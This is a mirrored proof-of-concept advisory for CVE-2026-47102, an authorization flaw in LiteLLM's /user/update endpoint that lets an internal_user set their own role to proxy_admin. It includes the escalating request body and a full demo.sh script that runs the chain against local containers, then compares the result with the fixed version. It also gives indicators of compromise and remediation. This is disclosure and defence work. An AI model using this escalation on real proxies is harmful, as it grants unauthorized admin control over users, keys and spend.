PoC Archive PoC Archive
High CVE-2026-47102 patched

LiteLLM Proxy Privilege Escalation via `/user/update` (CVE-2026-47102)

by Fenix Qiao (13ph03nix) — Obsidian Security · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-47102
Category
web
Affected product
LiteLLM (LLM API proxy / gateway)
Affected versions
< 1.83.10 (confirmed on 1.83.7; fixed in 1.83.10)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherFenix Qiao (13ph03nix) — Obsidian Security
CVE / AdvisoryCVE-2026-47102
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagslitellm, privilege-escalation, broken-access-control, cwe-863, api-authorization, llm-proxy
RelatedCVE-2026-47101 (chainable /key/generate wildcard-route vulnerability)

Affected Target

FieldValue
Software / SystemLiteLLM (LLM API proxy / gateway)
Versions Affected< 1.83.10 (confirmed on 1.83.7; fixed in 1.83.10)
Language / PlatformPython (FastAPI-based proxy)
Authentication RequiredYes (any low-privileged API key with route access to /user/update)
Network Access RequiredYes

Summary

LiteLLM’s /user/update endpoint is meant to let a user update their own account attributes (name, email, metadata). The authorization check can_user_call_user_update() only verifies which user record the caller may modify (their own, or any if they are already proxy_admin) but does not restrict which fields a self-update may change. A low-privileged internal_user who has been granted (or otherwise obtains) API-key route access to /user/update can therefore include user_role in their own update request and set it to proxy_admin, instantly escalating to full administrative privileges over the LiteLLM proxy.


Vulnerability Details

Root Cause

internal_user_endpoints.py’s can_user_call_user_update() allows a self-update (user_api_key_dict.user_id == user_info.user_id) without validating the set of fields being modified:

1
2
3
4
5
6
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # user can update their own record — including user_role!
    return False

The fix (v1.83.10+) adds field-level authorization, restricting non-admin self-updates to an allow-list (metadata, display_name, email) and rejecting any request that attempts to modify user_role.

Attack Vector

  1. An administrator creates a low-privileged internal_user account (POST /user/new).
  2. The administrator grants that user (or a key belonging to them) route-level access to /user/update — e.g. via POST /key/generate with allowed_routes: ["/user/update"] — or the attacker obtains such a key by chaining CVE-2026-47101 (/key/generate wildcard route abuse).
  3. Using that key, the attacker calls:
    POST /user/update
    {"user_id": "<own-user-id>", "user_role": "proxy_admin"}
    
  4. The endpoint accepts the self-update without checking that user_role is outside the caller’s permitted field set, and the user’s role is changed to proxy_admin.
  5. The attacker (using their original, route-unrestricted API key, now tied to a proxy_admin user) calls admin-only endpoints such as /user/list or /user/delete to confirm and abuse full administrative access.

Impact

Any user granted (directly or via a chained vulnerability) access to the /user/update route can escalate to full proxy_admin privileges over the LiteLLM proxy — gaining the ability to list, modify, and delete any user, manage API keys and spend limits, and access all administrative functionality of the proxy.


Environment / Lab Setup

Target:     LiteLLM v1.83.7-stable (vulnerable) and v1.83.10-stable (fixed, for comparison), via docker-compose
Backing DB: PostgreSQL
Attacker:   curl / bash, or the bundled demo.sh / exploit/exploit.py + exploit/payload.py

Proof of Concept

PoC Script

See demo.sh, exploit/exploit.py, exploit/payload.py, config.yaml, and docker-compose.yml in this folder.

1
2
3
docker compose up -d litellm      # start vulnerable LiteLLM v1.83.7 + Postgres
sleep 15                          # allow the proxy to become ready
bash demo.sh                      # runs the full chain, including a fixed-version comparison

demo.sh automates: creating an internal_user, granting that user a key scoped to /user/update, calling /user/update to set user_role: proxy_admin, and then verifying elevated access via /user/list. Running it against docker-compose --profile fixed up -d litellm-fixed (v1.83.10) shows the same request rejected with "Only proxy admins can modify user roles.", confirming the vulnerability and the fix.


Detection & Indicators of Compromise

POST /user/update {"user_id": "...", "user_role": "proxy_admin", ...}

Signs of compromise:

  • Non-admin API keys successfully calling /user/update with a user_role field in the request body.
  • Users whose user_role changed to proxy_admin without a corresponding administrator-initiated action.
  • Unexpected calls to /user/list or /user/delete from keys originally provisioned as internal_user.

Remediation

ActionDetail
Primary fixUpgrade to LiteLLM ≥ 1.83.10, which adds field-level authorization to /user/update and blocks non-admin modification of user_role.
Interim mitigationRestrict API key route grants to only the minimum necessary routes; avoid granting /user/update access to non-admin users; audit existing users/keys for unexpected proxy_admin role assignments; monitor /user/update calls that include user_role changes.

References


Notes

Mirrored from https://github.com/learner202649/CVE-2026-47102-PoC on 2026-07-05. Chainable with CVE-2026-47101 (/key/generate wildcard-route authorization bypass) for privilege escalation starting from a key with no explicit route grants.

demo.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
#!/usr/bin/env bash
#
# demo.sh — CVE-2026-47102 LiteLLM Privilege Escalation (internal_user → proxy_admin)
#
# One-click reproduction covering report sections 5.1 through 6.2:
#   5.1  — Start vulnerable LiteLLM container (v1.83.7-stable)
#   5.2  — Confirm service via docker logs
#   5.3  — Create internal_user account via /user/new
#   5.4  — Step 1: Admin grants a key with /user/update route access
#   5.5  — Step 2: Escalate to proxy_admin via /user/update  ← CVE-2026-47102
#   5.6  — Step 3: Verify admin access via /user/list
#   5.7  — Extension: Delete admin user directly via /user/delete
#   6.1  — Start fixed version (v1.83.10-stable)
#   6.2  — Verify fix: attempt /user/update role change (expected: blocked)
#
# Usage:
#   bash demo.sh              # full 5.1→6.2 reproduction (both versions)
#   bash demo.sh --keep       # keep containers running after demo
#

set -euo pipefail

cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

info()  { echo -e "${BLUE}[*]${NC} $*"; }
pass()  { echo -e "${GREEN}[PASS]${NC} $*"; }
fail()  { echo -e "${RED}[FAIL]${NC} $*"; }
warn()  { echo -e "${YELLOW}[!]${NC} $*"; }
banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; }

MASTER_KEY="sk-litellm-master-key"
KEEP=0

cleanup() {
    if [ "$KEEP" != "1" ]; then
        info "Cleaning up containers..."
        docker compose down --remove-orphans 2>/dev/null || true
        docker rm -f litellm-47102-privesc litellm-47102-fixed litellm-47102-db 2>/dev/null || true
    else
        info "Keeping containers running (--keep)."
    fi
}

remove_existing_containers() {
    docker compose down --remove-orphans 2>/dev/null || true
    for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done
}

wait_for_litellm() {
    local url="$1"
    local timeout="${2:-120}"
    info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..."
    for i in $(seq 1 "$timeout"); do
        if curl -sf "$url" >/dev/null 2>&1; then
            pass "LiteLLM is ready!"
            return 0
        fi
        if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then
            pass "LiteLLM is ready (auth required)!"
            return 0
        fi
        sleep 2
    done
    fail "LiteLLM did not become ready within ${timeout}s"
    return 1
}

# Create an internal_user and get their API key
create_internal_user() {
    local target="$1"
    info "Creating internal_user account..."

    local resp
    resp=$(curl -s -X POST "$target/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local user_id
    user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    local user_key
    user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$user_id" ] && [ -n "$user_key" ]; then
        pass "Internal user created!"
        info "  User ID:   $user_id"
        info "  API Key:   ${user_key:0:32}..."
        echo "$user_id" > /tmp/cve47102_user_id.txt
        echo "$user_key" > /tmp/cve47102_user_key.txt
        return 0
    else
        warn "Could not parse user creation response."
        info "Response: $(echo "$resp" | head -c 300)"
        return 1
    fi
}

# Step 1: Admin grants a key with /user/update route access
step1_grant_route_key() {
    local target="$1"
    local user_id="$2"

    info "Step 1: Admin grants key with /user/update route access..."

    local resp
    resp=$(curl -s -X POST "$target/key/generate" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$user_id\"}" 2>&1) || true

    local route_key
    route_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$route_key" ]; then
        pass "Key with /user/update route access granted!"
        info "  New API Key: ${route_key:0:48}..."
        echo "$route_key" > /tmp/cve47102_route_key.txt
        return 0
    else
        warn "Key granting failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 2: Escalate to proxy_admin via /user/update (CVE-2026-47102)
step2_escalate_to_admin() {
    local target="$1"
    local route_key="$2"
    local user_id="$3"

    info "Step 2: Escalating user '$user_id' to proxy_admin via /user/update..."
    info "CVE-2026-47102: /user/update allows self-modification of user_role"

    local resp
    resp=$(curl -s -X POST "$target/user/update" \
        -H "Authorization: Bearer $route_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

    local new_role
    new_role=$(echo "$resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
print(data.get('user_role', d.get('user_role', 'unknown')))
" 2>/dev/null || echo "unknown")

    if echo "$resp" | grep -q "user_id"; then
        pass "Privilege escalation successful!"
        info "  New role: $new_role"
        return 0
    else
        warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 3: Verify admin access
step3_verify_admin() {
    local target="$1"
    local api_key="$2"

    info "Step 3: Verifying admin access (listing users via /user/list)..."

    local resp
    resp=$(curl -s -X GET "$target/user/list" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" 2>&1) || true

    if echo "$resp" | grep -q "users\|user_id"; then
        pass "Admin access confirmed!"
        info "User list:"
        echo "$resp" | python3 -c "
import sys, json
data = json.load(sys.stdin)
users = data if isinstance(data, list) else data.get('users', [])
for u in users[:5]:
    uid = u.get('user_id', '?')
    role = u.get('user_role', u.get('role', '?'))
    print(f'    - {uid} (role: {role})')
" 2>/dev/null || echo "$resp" | head -c 300
        return 0
    else
        warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Section 5.7 Extension: Delete a user directly
step_extension_delete_user() {
    local target="$1"
    local api_key="$2"
    local user_id="$3"

    echo ""
    info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..."

    local resp
    resp=$(curl -s -X POST "$target/user/delete" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true

    if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then
        pass "User deleted via /user/delete — arbitrary user deletion confirmed!"
    else
        warn "Delete response: $(echo "$resp" | head -c 200)"
    fi
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --keep)  KEEP=1; shift ;;
            *)       warn "Unknown option: $1"; shift ;;
        esac
    done

    trap cleanup EXIT

    clear
    echo ""
    echo "  ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██╗   ██╗██████╗ "
    echo " ██╔════╝██║   ██║██╔════╝   ╚════██╗██╔══██╗██║   ██║██╔══██╗"
    echo " ██║     ██║   ██║█████╗      █████╔╝██║  ██║██║   ██║██████╔╝"
    echo " ██║     ╚██╗ ██╔╝██╔══╝     ██╔═══╝ ██║  ██║██║   ██║██╔══██╗"
    echo " ╚██████╗ ╚████╔╝ ███████╗    ███████╗██████╔╝╚██████╔╝██║  ██║"
    echo "  ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝"
    echo ""
    echo "  CVE-2026-47102 — Privilege Escalation via /user/update"
    echo "  CVSS 8.8 | Affected: <1.83.10 | Fixed: v1.83.10+"
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "  Reproduction: Sections 5.1 through 6.2"
    echo ""

    #####################################################################
    # Section 5.1: Start vulnerable LiteLLM container
    #####################################################################
    banner "Section 5.1: Starting vulnerable LiteLLM (v1.83.7-stable)"
    remove_existing_containers litellm-47102-privesc litellm-47102-db
    docker compose up -d litellm
    info "Container: litellm-47102-privesc (port 4002)"
    echo ""

    #####################################################################
    # Section 5.2: Confirm service running
    #####################################################################
    banner "Section 5.2: Confirming service running"
    info "Waiting for container to start, then showing logs..."
    sleep 5
    info "--- docker logs litellm-47102-privesc (last 10 lines) ---"
    docker logs litellm-47102-privesc 2>&1 | tail -10
    echo ""

    #####################################################################
    # Section 5.3: Create internal_user account
    #####################################################################
    banner "Section 5.3: Creating internal_user account"
    wait_for_litellm "http://localhost:4002" 60
    create_internal_user "http://localhost:4002"
    echo ""

    # Read saved credentials
    local INTERNAL_USER_ID
    local INTERNAL_USER_KEY
    INTERNAL_USER_ID=$(cat /tmp/cve47102_user_id.txt 2>/dev/null || echo "")
    INTERNAL_USER_KEY=$(cat /tmp/cve47102_user_key.txt 2>/dev/null || echo "")

    if [ -z "$INTERNAL_USER_ID" ] || [ -z "$INTERNAL_USER_KEY" ]; then
        fail "No internal user credentials available. Aborting."
        exit 1
    fi

    #####################################################################
    # Section 5.4: Step 1 — Admin grants key with /user/update route
    #####################################################################
    banner "Section 5.4: Step 1 — Granting key with /user/update route access"
    info "Vulnerability context: internal_user cannot self-grant /user/update route."
    info "Admin must explicitly create a route-restricted key for the user."
    echo ""
    step1_grant_route_key "http://localhost:4002" "$INTERNAL_USER_ID"
    echo ""

    local ROUTE_KEY
    ROUTE_KEY=$(cat /tmp/cve47102_route_key.txt 2>/dev/null || echo "")

    if [ -z "$ROUTE_KEY" ]; then
        fail "No route key available. Cannot proceed with exploitation."
        exit 1
    fi

    #####################################################################
    # Section 5.5: Step 2 — Escalate to proxy_admin (CVE-2026-47102)
    #####################################################################
    banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update"
    info "CVE-2026-47102: /user/update endpoint checks THAT a user can update,"
    info "but does NOT restrict WHICH fields (e.g. user_role) can be modified."
    echo ""
    step2_escalate_to_admin "http://localhost:4002" "$ROUTE_KEY" "$INTERNAL_USER_ID"
    echo ""

    #####################################################################
    # Section 5.6: Step 3 — Verify admin access
    #####################################################################
    banner "Section 5.6: Step 3 — Verifying admin access"
    info "The escalated user's original API key now has proxy_admin role."
    step3_verify_admin "http://localhost:4002" "$INTERNAL_USER_KEY"
    echo ""

    #####################################################################
    # Section 5.7: Extension — Delete admin user
    #####################################################################
    echo ""
    banner "Section 5.7: Extension — Arbitrary user deletion"
    info "With proxy_admin privileges, /user/delete allows deleting any user."
    step_extension_delete_user "http://localhost:4002" "$INTERNAL_USER_KEY" "$INTERNAL_USER_ID"

    #####################################################################
    # Section 6: Fixed version comparison
    #####################################################################
    echo ""
    banner "Section 6.1: Starting fixed version (v1.83.10-stable)"
    remove_existing_containers litellm-47102-fixed
    docker compose --profile fixed up -d litellm-fixed
    wait_for_litellm "http://localhost:4003" 60

    echo ""
    banner "Section 6.2: Verifying fix (expected: blocked)"
    info "Fixed version v1.83.10 restricts which fields /user/update may modify."
    info "user_role changes should now require proxy_admin privileges."
    echo ""

    # Create internal_user on fixed version
    local FIXED_USER_RESP
    FIXED_USER_RESP=$(curl -s -X POST "http://localhost:4003/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local FIXED_USER_ID
    FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    if [ -n "$FIXED_USER_ID" ]; then
        pass "Internal user created on fixed version!"

        # Create key with /user/update route
        local FIXED_KEY_RESP
        FIXED_KEY_RESP=$(curl -s -X POST "http://localhost:4003/key/generate" \
            -H "Authorization: Bearer $MASTER_KEY" \
            -H "Content-Type: application/json" \
            -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" 2>&1) || true

        local FIXED_ROUTE_KEY
        FIXED_ROUTE_KEY=$(echo "$FIXED_KEY_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

        if [ -n "$FIXED_ROUTE_KEY" ]; then
            # Attempt to escalate (expected: blocked)
            local fixed_esc_resp
            fixed_esc_resp=$(curl -s -X POST "http://localhost:4003/user/update" \
                -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
                -H "Content-Type: application/json" \
                -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

            if echo "$fixed_esc_resp" | grep -qi "error\|denied\|forbidden\|not allowed\|permission"; then
                pass "[FIXED] /user/update correctly blocked user_role modification!"
            else
                local role_check
                role_check=$(echo "$fixed_esc_resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
r = data.get('user_role', d.get('user_role', ''))
print(r)
" 2>/dev/null || echo "")
                if [ "$role_check" = "proxy_admin" ]; then
                    warn "Escalation still succeeded on fixed version (unexpected)."
                else
                    pass "[FIXED] /user/update blocked escalation (role unchanged)."
                fi
            fi
        else
            warn "Could not create route key on fixed version."
        fi
    else
        warn "Could not create internal_user on fixed version."
    fi

    echo ""
    echo "  ==============================================="
    pass "Reproduction complete! (Sections 5.1 — 6.2)"
    echo "  Vulnerable:   http://localhost:4002 — CVE-2026-47102 CONFIRMED"
    echo "  Fixed:        http://localhost:4003 — ESCALATION BLOCKED"
    echo "  ==============================================="
    echo ""
    echo "  Attack chain:"
    echo "    1. Admin creates a key with /user/update route access for user"
    echo "    2. User calls  /user/update  →  user_role: proxy_admin  ← CVE-2026-47102"
    echo "    3. Verify     /user/list     →  full admin access confirmed"
    echo ""
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "    - No field-level restrictions in can_user_call_user_update()"
    echo "    - Any field including user_role can be changed by the user"
    echo "    - Fixed in v1.83.10 by restricting which fields non-admin can modify"
    echo ""
}

main "$@"